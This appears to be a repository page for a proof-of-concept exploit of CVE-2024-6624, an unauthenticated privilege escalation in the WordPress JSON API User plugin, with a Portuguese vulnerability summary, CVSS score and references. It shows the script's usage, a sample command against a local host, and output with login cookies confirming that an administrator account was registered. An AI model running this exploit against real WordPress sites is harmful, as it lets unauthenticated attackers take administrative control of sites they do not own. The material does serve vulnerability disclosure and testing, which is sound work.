randomrobbiebf/cve-2024-6624JSON API User <= 3.9.3 - Escalação de Privilégios Não Autenticada
JSON API User <= 3.9.3 - Escalada de Privilégios Não Autenticada
O plugin JSON API User para WordPress é vulnerável à escalada de privilégios em todas as versões até, e incluindo, a 3.9.3. Isso se deve a controles inadequados nos campos de metadados personalizados do usuário. Isso possibilita que atacantes não autenticados se registrem como administradores no site. O plugin requer que o plugin JSON API também esteja instalado.
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Privileges: None
Attack Vector: None
References:
- https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L51
- https://plugins.trac.wordpress.org/changeset/3115185/
- https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L187
usage: CVE-2024-6624.py [-h] -u URL [-un USERNAME] [-p PASSWORD]
WordPress User Management Script
options:
-h, --help show this help message and exit
-u URL, --url URL Website URL
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
python3 CVE-2024-6624.py -u http://kubernetes.docker.internal -un test -p testest123
Registration Response:
{
"status": "ok",
"cookie": "test|1727176928|2KSZ0T0maNhdNfQwcwgqForXPZpfGXuC8XHaje57whM|e724bfd3ee1103a9ba8431cd357ca5cd5387f836f3cb3c761050bd4a0a0e7b56",
"cookie_admin": "test|1727176928|tOXMV0zq3m368KcQzNaw5zbdGBoYYrrIByOAGWX6gdo|9b003b21babd93c4490fc6ace4b768c2201317957dd0f7c1766c142cfb5f2647",
"cookie_name": "wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa",
"user_id": 41,
"username": "test"
}
A new user with Administrator rights should of been now registered on http://kubernetes.docker.internal with the username test and password of testest123